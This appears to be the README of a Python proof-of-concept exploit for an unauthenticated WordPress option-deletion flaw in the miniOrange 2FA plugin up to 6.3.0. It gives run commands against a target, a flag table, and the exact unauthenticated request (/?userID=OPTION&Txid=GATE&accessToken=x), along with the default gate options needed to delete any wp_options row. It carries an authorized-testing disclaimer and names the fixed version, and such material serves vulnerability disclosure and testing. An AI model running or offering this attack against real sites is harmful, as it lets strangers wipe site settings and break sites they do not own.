
Python PoC for CVE-2026-77770, an unauthenticated arbitrary WordPress option deletion flaw in the miniOrange 2FA plugin (<= 6.3.0) via the email-verification link.
miniOrange 2FA CVE POC
miniOrange 2FA (WordPress plugin miniorange-2-factor-authentication) ≤ 6.3.0 — unauthenticated arbitrary WordPress option deletion via the email-verification link (userID / Txid / accessToken).
For authorized testing only. Do not run this against systems you do not own or have permission to test.
Requires: Python 3, standard library only.
python3 cve-2026-77770-miniorange-2fa-option-delete.py -u http://TARGET --test
python3 cve-2026-77770-miniorange-2fa-option-delete.py -u http://TARGET --test --delete blogname
python3 cve-2026-77770-miniorange-2fa-option-delete.py -u https://TARGET --delete blogname --insecure
python3 cve-2026-77770-miniorange-2fa-option-delete.py -u TARGET --delete blogname
| Flag | What it does |
|---|
-u / --url | WordPress site root (required). http:// or https://; a hostname is tried as HTTPS first, then HTTP. Self-signed TLS is retried automatically |
--test | Guest: plugin version + email-verification popup |
--delete OPTION | Delete that wp_options row. blogname is visible via /wp-json/ (BEFORE / AFTER) |
--gate OPTION | Option whose stored value is 3 (the Txid gate). Repeatable. Default: wp_page_for_privacy_policy, then thread_comments_depth |
--insecure | Skip TLS verify |
--timeout | HTTP timeout seconds (default 30) |
Unauthenticated. The gadget is a GET to /?userID=OPTION&Txid=GATE&accessToken=x. GATE must currently hold integer 3. On a miss of the 5-minute window the plugin also writes GATE=0.
--test does not delete. --delete blogname is the public proof (site title in /wp-json/ goes empty). 6.3.1 prefixes keys (mo2f_oobe_*) so unprefixed names are not deleted.
Stdout: VERSION, HANDLER, PRESENT, SITENAME, OPTION, BEFORE, AFTER, GATE, VULNERABLE, NOT_VULNERABLE, NOT_FOUND, ATTEMPTED.

CVE: CVE-2026-77770. Plugin changelog 6.3.1.